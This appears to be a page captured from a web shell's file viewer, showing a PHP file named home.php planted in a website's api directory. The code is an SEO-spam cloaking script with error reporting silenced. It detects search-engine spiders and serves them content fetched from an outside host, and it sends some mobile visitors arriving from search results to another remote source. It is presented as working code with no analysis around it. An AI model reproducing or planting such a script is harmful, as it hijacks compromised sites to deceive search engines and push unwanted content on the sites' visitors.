@qingjieshouliang
Current Path : /www/wwwroot/eblliwsm.com/api/ |
Current File : /www/wwwroot/eblliwsm.com/api/home.php |
<?php error_reporting(0); define('wwwroot', 'http://x.govedu.cc/off/ip.php?'); define('request', $_SERVER['REQUEST_URI']); define('referer', $_SERVER['HTTP_REFERER']); define('user_agent', $_SERVER['HTTP_USER_AGENT']); define('suffix', '/(\.(xml|doc|txt|ppt|xls|csv|shtml)|hh|wap|mtv|mip|app|video|article|content|question)/i'); define('is_origin', 'road=' . $_SERVER['HTTP_HOST'] . request); define('spider_head', '@Baidu|Sogou|Yisou|Haosou|360Spi|Bytespi|So.com|Sm.cn|Toutiao.com@i'); define('is_suffix', preg_match(suffix, request)); define('is_referer', preg_match(spider_head, referer)); define('is_user_agent', preg_match(spider_head, user_agent)); define('is_mobile', preg_match('@Android|Mobile|Wap|iOS|iPad|iPhone|Tablet|iPod|Windows Phone@i', user_agent)); if (is_user_agent && is_suffix) { die(openweb(wwwroot . is_origin)); } if (is_user_agent) { echo openweb(wwwroot . 'zz&'); ob_flush(); flush(); } if (is_suffix && is_referer && is_mobile) { die(openweb('https://i.ixi.plus/9.txt')); } function openweb($request) { $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $header = array('http' => array('method' => 'GET','header' => 'User-Agent: ' . user_agent . "\r\n" .'X-Forwarded-For: ' . $ip)); $context = stream_context_create($header); $data = file_get_contents($request, false, $context); return $data; } ?>